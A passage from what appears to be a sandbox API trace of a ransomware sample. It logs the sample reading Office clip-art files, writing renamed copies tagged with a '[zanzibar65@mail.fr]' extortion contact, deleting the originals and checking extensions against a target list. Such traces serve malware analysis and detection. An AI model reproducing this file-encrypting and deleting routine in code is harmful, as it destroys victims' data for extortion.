Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0055.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0055.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0055.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0055.213] lstrlenW (lpString=".doc") returned 4 [0055.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString=".docx") returned 5 [0055.214] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.214] lstrlenW (lpString=".pdf") returned 4 [0055.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString=".xls") returned 4 [0055.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.214] lstrlenW (lpString=".xlsx") returned 5 [0055.214] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.214] lstrlenW (lpString=".ppt") returned 4 [0055.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0055.214] lstrlenW (lpString=".zip") returned 4 [0055.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.214] lstrlenW (lpString=".rar") returned 4 [0055.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString=".bz2") returned 4 [0055.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString=".7z") returned 3 [0055.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0055.214] lstrlenW (lpString=".dbf") returned 4 [0055.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0055.214] lstrlenW (lpString=".1cd") returned 4 [0055.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0055.214] lstrlenW (lpString=".jpg") returned 4 [0055.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.215] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.215] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0055.216] GetLastError () returned 0x0 [0055.216] ReadFile (in: hFile=0x25c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x30e8, lpOverlapped=0x0) returned 1 [0055.218] WriteFile (in: hFile=0x260, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x30f0, lpOverlapped=0x0) returned 1 [0055.219] ReadFile (in: hFile=0x25c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.219] WriteFile (in: hFile=0x260, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.220] SetEndOfFile (hFile=0x260) returned 1 [0055.220] CloseHandle (hObject=0x260) returned 1 [0055.220] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.220] SetEndOfFile (hFile=0x25c) returned 1 [0055.221] CloseHandle (hObject=0x25c) returned 1 [0055.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0055.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0055.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0055.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0055.221] lstrlenW (lpString=".doc") returned 4 [0055.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.221] lstrlenW (lpString=".docx") returned 5 [0055.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.221] lstrlenW (lpString=".pdf") returned 4 [0055.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.221] lstrlenW (lpString=".xls") returned 4 [0055.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.222] lstrlenW (lpString=".xlsx") returned 5 [0055.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.222] lstrlenW (lpString=".ppt") returned 4 [0055.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0055.222] lstrlenW (lpString=".zip") returned 4 [0055.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.222] lstrlenW (lpString=".rar") returned 4 [0055.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.222] lstrlenW (lpString=".bz2") returned 4 [0055.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.222] lstrlenW (lpString=".7z") returned 3 [0055.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0055.222] lstrlenW (lpString=".dbf") returned 4 [0055.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0055.222] lstrlenW (lpString=".1cd") returned 4 [0055.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0055.222] lstrlenW (lpString=".jpg") returned 4 [0055.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.238] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.238] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0055.238] GetLastError () returned 0x0 [0055.238] ReadFile (in: hFile=0x25c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x265a, lpOverlapped=0x0) returned 1 [0055.245] WriteFile (in: hFile=0x260, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x2660, lpOverlapped=0x0) returned 1 [0055.246] ReadFile (in: hFile=0x25c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.246] WriteFile (in: hFile=0x260, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.246] SetEndOfFile (hFile=0x260) returned 1 [0055.246] CloseHandle (hObject=0x260) returned 1 [0055.246] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.246] SetEndOfFile (hFile=0x25c) returned 1 [0055.247] CloseHandle (hObject=0x25c) returned 1 [0055.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0055.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0055.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0055.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0055.248] lstrlenW (lpString=".doc") returned 4 [0055.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.248] lstrlenW (lpString=".docx") returned 5 [0055.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.248] lstrlenW (lpString=".pdf") returned 4 [0055.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.248] lstrlenW (lpString=".xls") returned 4 [0055.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.248] lstrlenW (lpString=".xlsx") returned 5 [0055.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.248] lstrlenW (lpString=".ppt") returned 4 [0055.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0055.248] lstrlenW (lpString=".zip") returned 4 [0055.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.248] lstrlenW (lpString=".rar") returned 4 [0055.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.248] lstrlenW (lpString=".bz2") returned 4 [0055.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.248] lstrlenW (lpString=".7z") returned 3 [0055.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0055.248] lstrlenW (lpString=".dbf") returned 4 [0055.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0055.248] lstrlenW (lpString=".1cd") returned 4 [0055.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0055.248] lstrlenW (lpString=".jpg") returned 4 [0055.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.249] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.249] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0055.249] GetLastError () returned 0x0 [0055.249] ReadFile (in: hFile=0x25c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x1eb6, lpOverlapped=0x0) returned 1 [0055.251] WriteFile (in: hFile=0x260, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x1ec0, lpOverlapped=0x0) returned 1 [0055.252] ReadFile (in: hFile=0x25c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.252] WriteFile (in: hFile=0x260, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.252] SetEndOfFile (hFile=0x260) returned 1 [0055.252] CloseHandle (hObject=0x260) returned 1 [0055.252] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.252] SetEndOfFile (hFile=0x25c) returned 1 [0055.253] CloseHandle (hObject=0x25c) returned 1 [0055.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0055.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0055.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0055.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0055.254] lstrlenW (lpString=".doc") returned 4 [0055.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.254] lstrlenW (lpString=".docx") returned 5 [0055.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.254] lstrlenW (lpString=".pdf") returned 4 [0055.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.254] lstrlenW (lpString=".xls") returned 4 [0055.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.254] lstrlenW (lpString=".xlsx") returned 5 [0055.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.254] lstrlenW (lpString=".ppt") returned 4 [0055.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0055.254] lstrlenW (lpString=".zip") returned 4 [0055.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.254] lstrlenW (lpString=".rar") returned 4 [0055.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.254] lstrlenW (lpString=".bz2") returned 4 [0055.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.254] lstrlenW (lpString=".7z") returned 3 [0055.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0055.254] lstrlenW (lpString=".dbf") returned 4 [0055.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0055.255] lstrlenW (lpString=".1cd") returned 4 [0055.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0055.255] lstrlenW (lpString=".jpg") returned 4 [0055.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.255] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.255] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0055.255] GetLastError () returned 0x0 [0055.255] ReadFile (in: hFile=0x25c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x3f4, lpOverlapped=0x0) returned 1 [0055.259] WriteFile (in: hFile=0x260, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x400, lpOverlapped=0x0) returned 1 [0055.260] ReadFile (in: hFile=0x25c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.260] WriteFile (in: hFile=0x260, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.260] SetEndOfFile (hFile=0x260) returned 1 [0055.260] CloseHandle (hObject=0x260) returned 1 [0055.260] SetFilePointerEx (in: hFile=0x25c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.260] SetEndOfFile (hFile=0x25c) returned 1 [0055.261] CloseHandle (hObject=0x25c) returned 1 [0055.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0055.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0055.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0055.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0055.261] lstrlenW (lpString=".doc") returned 4 [0055.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.261] lstrlenW (lpString=".docx") returned 5 [0055.261] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.262] lstrlenW (lpString=".pdf") returned 4 [0055.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.262] lstrlenW (lpString=".xls") returned 4 [0055.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.262] lstrlenW (lpString=".xlsx") returned 5 [0055.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.262] lstrlenW (lpString=".ppt") returned 4 [0055.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0055.262] lstrlenW (lpString=".zip") returned 4 [0055.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.262] lstrlenW (lpString=".rar") returned 4 [0055.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.262] lstrlenW (lpString=".bz2") returned 4 [0055.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.262] lstrlenW (lpString=".7z") returned 3 [0055.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0055.262] lstrlenW (lpString=".dbf") returned 4 [0055.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0055.262] lstrlenW (lpString=".1cd") returned 4 [0055.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0055.262] lstrlenW (lpString=".jpg") returned 4 [0055.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.666] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.667] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0056.667] GetLastError () returned 0x0 [0056.667] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x370, lpOverlapped=0x0) returned 1 [0056.670] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x380, lpOverlapped=0x0) returned 1 [0056.670] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.670] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.671] SetEndOfFile (hFile=0x258) returned 1 [0056.671] CloseHandle (hObject=0x258) returned 1 [0056.671] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.671] SetEndOfFile (hFile=0x22c) returned 1 [0056.672] CloseHandle (hObject=0x22c) returned 1 [0056.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0056.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0056.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0056.672] lstrlenW (lpString=".doc") returned 4 [0056.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.672] lstrlenW (lpString=".docx") returned 5 [0056.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.673] lstrlenW (lpString=".pdf") returned 4 [0056.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.673] lstrlenW (lpString=".xls") returned 4 [0056.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.673] lstrlenW (lpString=".xlsx") returned 5 [0056.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.673] lstrlenW (lpString=".ppt") returned 4 [0056.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0056.673] lstrlenW (lpString=".zip") returned 4 [0056.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.673] lstrlenW (lpString=".rar") returned 4 [0056.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.673] lstrlenW (lpString=".bz2") returned 4 [0056.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.673] lstrlenW (lpString=".7z") returned 3 [0056.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0056.673] lstrlenW (lpString=".dbf") returned 4 [0056.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0056.673] lstrlenW (lpString=".1cd") returned 4 [0056.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.673] lstrlenW (lpString="C:\\Program 